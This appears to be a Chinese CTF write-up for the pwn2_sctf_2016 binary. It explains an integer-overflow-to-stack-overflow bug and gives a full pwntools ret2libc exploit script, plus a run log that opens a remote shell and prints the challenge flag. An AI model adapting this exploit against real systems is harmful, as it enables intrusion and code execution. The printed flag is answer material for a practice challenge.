pwn2_sctf_2016 1
例题:pwn2_sctf_2016 1
首先检查一下文件:
C:\Users\A\Downloads>checksec pwn2_sctf_2016
[*] 'C:\\Users\\A\\Downloads\\pwn2_sctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
- 32位程序,小端序
- GOT表只读
- 没有栈保护
- 栈不可执行
- 地址固定
- 保留了字符表和调试信息
思路分析
首先看一下main函数:

看来没啥,直接看到vuln函数:

仔细观察,nptr是char类型(根据后面的&nptr,其实也可以判断这是一个char类型的数组),也就是一种无符号类型,却出现了get_n((int)&nptr,4u),即将nptr转成int类型。
这就可能会导致整数溢出漏洞。
因此我们只需要输入-1,转成int类型,就变成很大的数,即v2变成很大的数。
因此思路如下:
- 输入-1
- 进行栈溢出操作
- 由于没有system,/bin/sh,因此采用ret2libc
根据buu对这到题的描述,这个题目是一个ubuntu16的环境,因此libc版本也比较老,所以一般情况下LibcSearcher获取不到,所以我们需要去添加一下对于的libc。
来到BUUCTF的资源,下载一下这个libc


可以向我一样,把这个libc添加到LibcSearcher的数据库里。这样就解决了libc的问题

当然,也是因为环境较老的原因,我在本地(kali 2025)也打不通。只能打远程。
攻击脚本
from pwn import *
import sys
sys.path.append("../tools/LibcSearcher")
from LibcSearcher import *
file ="./pwn2_sctf_2016"
#context.log_level = 'debug'
elf = ELF(file)
main = elf.symbols["main"]
printf_plt = elf.plt["printf"]
libc_start_got = elf.got["__libc_start_main"]
offset = 0x2c + 4
local = 2
if local == 1:
io = process(file)
else:
io = remote("node5.buuoj.cn",28158)
pay = b'-1'
io.recvuntil(b"read? ")
io.sendline(pay)
pay = b'a' * offset + p32(printf_plt) + p32(main) + p32(libc_start_got)
io.recvuntil(b"data!\n")
io.sendline(pay)
io.recvuntil(b'\n')
libc_start = u32(io.recv(4).ljust(4,b'\x00'))
print(hex(libc_start))
libc = LibcSearcher("__libc_start_main",libc_start)
libc_base = libc_start - libc.dump("__libc_start_main")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
pay = b'-1'
io.recvuntil(b'read? ')
io.sendline(pay)
pay = b'a' * offset + p32(system) + b'1234' + p32(bin_sh)
io.recvuntil(b'data!\n')
io.sendline(pay)
io.recvline()
io.interactive()
点击查看代码
[*] '/home/kali/Desktop/ctf/pwn/attack/pwn2_sctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[+] Opening connection to node5.buuoj.cn on port 28158: Done
0xf7d8b540
Multi Results:
0: ubuntu-glibc (id libc6_2.23-0ubuntu3_i386)
1: ubuntu-glibc (id libc6-i386_2.23-0ubuntu3_amd64)
2: ubuntu-old-glibc (id libc6_2.36-0ubuntu4_amd64)
3: /home/kali/Desktop/ctf/pwn/tools/LibcSearcher/libc-database/libc-2.23.so (id local-c1d3aa79808e71885c67b9763b5e52a96cc02d16)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:3
[+] /home/kali/Desktop/ctf/pwn/tools/LibcSearcher/libc-database/libc-2.23.so (id local-c1d3aa79808e71885c67b9763b5e52a96cc02d16) be choosed.
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{fdecba95-4581-473b-8339-11a58a72ef92}
$
[*] Closed connection to node5.buuoj.cn port 28158

浙公网安备 33010602011771号